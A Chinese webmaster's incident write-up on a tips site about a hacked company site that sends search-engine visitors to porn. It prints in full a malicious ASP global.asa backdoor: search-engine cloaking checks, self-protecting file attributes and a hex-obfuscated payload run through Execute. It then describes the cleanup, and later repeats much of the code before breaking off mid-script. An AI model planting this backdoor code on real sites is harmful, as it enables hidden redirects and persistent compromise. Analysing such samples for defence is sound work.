萬盛學電腦網

 萬盛學電腦網 >> 電腦基本常識 >> 網站被黑 站長的解決辦法

網站被黑 站長的解決辦法

class="area">

最近單位網站在百度搜索點擊打開都是黃色的,而直接輸入網址反而沒問題,在百度搜索中被提示為網站被黑的可能,很多客戶搜索我們網站都進入了黃色網站,給公司的形象造成了很大的影響,作為公司的網站技術人員,以前也算是搞了5年的老站長了,什麼事沒驚著,從頭開始分析網站被黑的原因。

  百度的收錄為基礎

  在百度Site下自己網站發現收錄了許多色情類內容快照,什麼電影,什麼美女主播,看了收錄足足300多條快照,再看下網站首頁的收錄,發現已經面目全非了,百度快照都是空的。網站的標題都成了網站的地址了,內容也為空了。我這才意識到完了,網站肯定是被K了。

  打開其中任意一個地址,直接跳轉到了黃色網站上,網站地址是:http://mrr.8800.org/mm/

  如下圖:

  

問題慢慢浮出水面

  首先問題的表面就是網站的收錄劇增,都是收錄一些惡意的內容和違法的內容(包括時時彩色情什麼的)。再一個表面特征是從搜索引擎來的點擊會自動跳轉到黃色網站上,自己輸入網站則不會出現跳轉。這時我充分的確定了是網站程序的問題,登陸空間FTP發現網站根目錄下有許多陌生的文件夾,裡面的網站文件打不開也刪不掉,老提示沒有權限刪除。再往下級目錄查看時發現了一個古怪的文件名,是global.asa 用sinesafe木馬檢測工具檢測出是木馬文件,內容如下:

  < script runat="server" >

  '網站全局文件

  sub Application_OnStart

  end sub

  sub Application_OnEnd

  end sub

  Public Function GetHtml(url)

  Set ObjXMLHTTP=Server.CreateObject("MSXML2.serverXMLHTTP")

  ObjXMLHTTP.Open "GET",url,False

  ObjXMLHTTP.setRequestHeader "User-Agent",url

  ObjXMLHTTP.send

  GetHtml=ObjXMLHTTP.responseBody

  Set ObjXMLHTTP=Nothing

  set objStream = Server.CreateObject("Adodb.Stream")

  objStream.Type = 1

  objStream.Mode =3

  objStream.Open

  objStream.Write GetHtml

  objStream.Position = 0

  objStream.Type = 2

  objStream.Charset = "gb2312"

  GetHtml = objStream.ReadText

  objStream.Close

  End Function

  Function check(user_agent)

  allow_agent=split("Baiduspider,Sogou,baidu,Sosospider,Googlebot,FAST-WebCrawler,MSNBOT,Slurp,QihooBot,YoudaoBot,iaskspider",",")

  check_agent=false

  For agenti=lbound(allow_agent) to ubound(allow_agent)

  If instr(user_agent,allow_agent(agenti))>0 then

  check_agent=true

  exit for

  end if

  Next

  check=check_agent

  End function

  Function CheckRefresh()

  CheckRefresh = False

  Dim Botlist,i,Repls

  Krobotlist = "baidu|google|sogou|soso|yahoo|bing|youdao|qihoo|iask"

  Botlist = Split(Krobotlist,"|")

  For i = 0 To Ubound(Botlist)

  If InStr(left(request.servervariables("HTTP_REFERER"),"40"),Botlist(i)) > 0 Then

  CheckRefresh = True

  Exit For

  End If

  Next

  End Function

  sub Session_OnStart

  On Error Resume Next

  .servervariables("Path_Translated")

  Set s=Server.CreateObject("scripting.filesystemobject")

  set f=s.Getfile("//./" & Server.MapPath("/global.asa"))

  v=Request.Form&Request.QueryString

  if instr(v,".asa")>0 then

  f.Attributes=39

  response.end()

  end if

  if instr(name,";")>0 OR instr(server.MapPath("."),".as")>0 then

  s.Getfile(name).Attributes=0

  s.DeleteFile(name)

  f.Attributes=39

  response.end()

  end if

  S="636e6e62643d6c6361736528726571756573742e736572766572:O="":For i=1 To Len(s) Step 2:c=Mid(s,i,2):If IsNumeric(Mid(s,i,1)) Then:Execute("o=o&chr(&H"&c&")"):Else:Execute("o=o&chr(&H"&c&Mid(s,i+2,2)&")"):i=i+2:End If:Next:execute o

  end sub

  看了這些代碼我都有點懵圈了。

  Baiduspider,Sogou,baidu,Sosospider,Googlebot,FASTWebCrawler,MSNBOT,Slurp,Qihoo" 這一行代碼 就是搜索引擎的條件跳轉代碼,也就是說這個木馬是根據搜索引擎來的,只要是從百度和搜狗還有谷歌來的都會直接跳轉到他設定的網站。

  還有一些是二進制的代碼,是加了密的,我對解密不太懂,但是我的分析是他設定的跳轉網址。找了幾個朋友一起看了下代碼,我的好朋友老劉說還有個條件跳轉,是根據cookies和ip來跳轉的,同一個IP和cookies只會彈窗一次,不會彈窗第二次。 黑客的手法也很高明,可見為了利益用了那麼陰險的招。這種代碼很安全,幾乎不會讓站長察覺到。

  既然根源找到,解決游刃有余

  把網站程序源碼從空間下載了下來,放到sinesafe木馬檢測工具檢測,又發現了許多木馬文件,其中有global.asa z.aspx cende.asp phzLtoxn.php ,我在這裡就不公布木馬代碼了,廢話不多講,直接點擊清除木馬,木馬統統刪除。ftp裡刪不掉的文件,找了空間商讓他們在服務器裡直接刪除清空了目錄。 最後一步就是要把網站的後台密碼改掉,去年的csdn密碼洩密事件搞的真讓人擔心,之前我是吃過虧,csdn密碼和我的郵箱密碼都用的一樣的,導致我郵箱被盜,支付寶都被提現了,這虧吃的我是一輩子都記得,一朝被蛇咬十年怕井繩啊!

  密碼改掉後數據庫的地址也要改掉,然後把清除木馬的網站文件重新備份了一邊,重新上傳到空間,網站訪問正常,之前被黑客攻擊留下的百度痕跡需要到百度投訴中心提交一下,把網站被黑的原因寫上,等百度的更新期,問題才得以解決.

  一路的走來,非常的艱辛,經歷才是最寶貴的,也希望上面的解決經歷能夠幫到更多需要幫助的人。每個站長的經歷都不一樣,都能無私共享一下,那麼,我們站長的路會走的更遠!本文章內容來源 服務器問題慢慢浮出水面

  首先問題的表面就是網站的收錄劇增,都是收錄一些惡意的內容和違法的內容(包括時時彩色情什麼的)。再一個表面特征是從搜索引擎來的點擊會自動跳轉到黃色網站上,自己輸入網站則不會出現跳轉。這時我充分的確定了是網站程序的問題,登陸空間FTP發現網站根目錄下有許多陌生的文件夾,裡面的網站文件打不開也刪不掉,老提示沒有權限刪除。再往下級目錄查看時發現了一個古怪的文件名,是global.asa 用sinesafe木馬檢測工具檢測出是木馬文件,內容如下:

  < script runat="server" >

  '網站全局文件

  sub Application_OnStart

  end sub

  sub Application_OnEnd

  end sub

  Public Function GetHtml(url)

  Set ObjXMLHTTP=Server.CreateObject("MSXML2.serverXMLHTTP")

  ObjXMLHTTP.Open "GET",url,False

  ObjXMLHTTP.setRequestHeader "User-Agent",url

  ObjXMLHTTP.send

  GetHtml=ObjXMLHTTP.responseBody

  Set ObjXMLHTTP=Nothing

  set objStream = Server.CreateObject("Adodb.Stream")

  objStream.Type = 1

  objStream.Mode =3

  objStream.Open

  objStream.Write GetHtml

  objStream.Position = 0

  objStream.Type = 2

  objStream.Charset = "gb2312"

  GetHtml = objStream.ReadText

  objStream.Close

  End Function

  Function check(user_agent)

  allow_agent=split("Baiduspider,Sogou,baidu,Sosospider,Googlebot,FAST-WebCrawler,MSNBOT,Slurp,QihooBot,YoudaoBot,iaskspider",",")

  check_agent=false

  For agenti=lbound(allow_agent) to ubound(allow_agent)

  If instr(user_agent,allow_agent(agenti))>0 then

  check_agent=true

  exit for

  end if

  Next

  check=check_agent

  End function

  Function CheckRefresh()

  CheckRefresh = False

  Dim Botlist,i,Repls

  Krobotlist = "baidu|google|sogou|soso|yahoo|bing|youdao|qihoo|iask"

  Botlist = Split(Krobotlist,"|")

  For i = 0 To Ubound(Botlist)

  If InStr(left(request.servervariables("HTTP_REFERER"),"40"),Botlist(i)) > 0 Then

  CheckRefresh = True

  Exit For

  End If

  Next

  End Function

  sub Session_OnStart

  On Error Resume

copyright © 萬盛學電腦網 all rights reserved